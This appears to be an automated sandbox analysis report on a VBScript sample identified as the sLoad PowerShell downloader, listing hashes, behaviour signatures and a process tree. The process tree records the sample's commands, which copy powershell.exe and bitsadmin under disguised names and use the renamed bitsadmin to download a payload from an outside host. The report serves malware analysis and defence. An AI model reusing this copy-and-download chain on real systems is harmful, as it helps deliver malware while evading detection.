Analysis

  • max time kernel
    4294179s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20220310-en
  • submitted
    28-03-2022 04:01

General

  • Target

    23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs

  • Size

    6KB

  • MD5

    31f505685ab56e105729d6a60a7a6984

  • SHA1

    1f6fb6b55cd9fbd42b0ca0ec5f8227d9f6973255

  • SHA256

    23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631

  • SHA512

    b1baaf13e79f3ef6000510ff4c2e90373105b7a8ffd53b3f9b06e2ae824c562f9e287e5319f2699a331de10717d65775307fb1e006b3d14d19cb82b5a39d119d

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1164
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe
        3⤵
          PID:1448
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
          3⤵
            PID:1372
        • C:\ProgramData\YVxNfVgin.exe
          "C:\ProgramData\YVxNfVgin.exe" /transfer HYlQgP /download https://fhivelifestyle.online/lidepato/MLIMNT54C54F979H/1x1.css C:\Users\Admin\AppData\Roaming\1x1.css
          2⤵
          • Executes dropped EXE
          PID:2040

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\YVxNfVgin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\YVxNfVgin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1956-54-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

        Filesize

        8KB

      • memory/2040-61-0x0000000075C31000-0x0000000075C33000-memory.dmp

        Filesize

        8KB